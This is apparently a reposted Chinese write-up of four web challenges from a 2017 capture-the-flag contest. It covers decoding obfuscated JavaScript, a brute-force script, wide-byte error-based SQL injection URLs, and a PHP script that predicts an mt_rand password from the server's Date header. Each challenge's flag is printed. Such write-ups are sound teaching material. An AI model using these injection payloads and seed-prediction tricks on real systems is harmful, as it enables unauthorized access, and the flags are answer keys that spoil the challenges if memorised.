某CTF 2017

admin 2022年5月17日11:30:58评论60 views字数 2452阅读8分10秒阅读模式

WEB 抽奖呗

源碼大法

view-source:http://xxx/

可疑文件

http://xxx/js/jQuery.js

AAENCODE & decode

aadecode - Decode - Online

解碼后發現關鍵函數 getFlag()

Get Flag

直接在控制台查看函數

  1. window.getFlag

flag{951c712ac2c3e57053c43d80c0a9e543}

WEB 继续抽

源碼大法

view-source:http://xxx:81/

Payload

看了下源碼,爆破

  1. function orz(t) {
  2. $.get('token.php',
  3. function(token) {
  4. console.log(token);
  5. $.get("get.php?token=" + token + "&id=" + encode(md5(t)),
  6. function(jsctf3) {
  7. console.log(jsctf3);
  8. if(jsctf3['text'].indexOf('flag{')>-1){
  9. alert(jsctf3['text']);
  10. }else if(t<200){
  11. orz(t+1);
  12. }
  13. },
  14. 'json');
  15. },'json');
  16. }
  17. orz(0);

Get Flag

flag{b81cfec0285f75d4e36d2ccb2f7ec2c0}

Web just a test

簡單測試下就知道是字符集導致注入&報錯注入

  • 爆表
  • select table_name from information_schema.tables limit %s,1
  • 爆庫
  • select table_schema from information_schema.tables limit %s,1
  • 爆字段
  • select column_name from information_schema.columns where table_name in (0x666c4067) limit %s,1
  1. http://xxx:83/111%%df' AND extractvalue(1, concat(0x23, (select mid(f1ag,32,20) from `test`.`fl@g` limit %s,1),0x232323))-- KeTF"
  2. http://xxx:83/111%%df' AND extractvalue(1, concat(0x23, (select mid(f1ag,1,32) from `test`.`fl@g` limit %s,1),0x232323))-- KeTF"

萬能的sqlmap其實也能跑出來

Get Flag

flag{99cd1872c9b26525a8e5ec878d230caf}

WEB Wrong

我就不吐槽出題人的智商了。

get file

洩露文件:http://xxx:85/.index.php.swp

下載,查看,恢復vim -r xxx.php

hack it

用時間戳做種子,考慮的本地時間和服務器時間不同,所以獲取服務器時間,strtotime()轉化成時間戳。

跑出pwd,

session_id繞過$_SESSION['userLogin']==$_GET['login']

Get Flag

flag{rand_afjk_u8nm_uq2n}

Poc

閒著沒事寫寫,以後可能用到

  1. <?php
  2. function create_password($pw_length = 10){
  3. $randpwd = "";
  4. for ($i = 0; $i < $pw_length; $i++){
  5. $randpwd .= chr(mt_rand(33, 126));
  6. }
  7. return $randpwd;
  8. }
  9. function get_headers_from_curl_response($headerContent)
  10. {
  11. $headers = array();
  12. $arrRequests = explode("\r\n\r\n", $headerContent);
  13. for ($index = 0; $index < count($arrRequests) -1; $index++) {
  14. foreach (explode("\r\n", $arrRequests[$index]) as $i => $line)
  15. {
  16. if ($i === 0)
  17. $headers[$index]['http_code'] = $line;
  18. else
  19. {
  20. list ($key, $value) = explode(': ', $line);
  21. $headers[$index][$key] = $value;
  22. }
  23. }
  24. }
  25. return $headers;
  26. }
  27. function curl_get($url,$param,$d=False){
  28. $ch = curl_init();
  29. curl_setopt($ch, CURLOPT_URL, $url);
  30. curl_setopt($ch, CURLOPT_HEADER, 1);
  31. curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  32. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  33. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  34. $res = curl_exec($ch);
  35. if ($d){
  36. $header = get_headers_from_curl_response(substr($res, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE)));
  37. $res = $header[0]['Date'];
  38. }
  39. curl_close($ch);
  40. return $res;
  41. }
  42. $url = "http://117.34.111.15:85/";
  43. $seed = curl_get($url,"",True);
  44. mt_srand(strtotime($seed));
  45. $pwd=urlencode(create_password());
  46. echo curl_get($url."index.php?pwd=$pwd&login=","");

End

..............

FROM : virzz.com | Author:Virink

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日11:30:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某CTF 2017https://cn-sec.com/archives/1012975.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息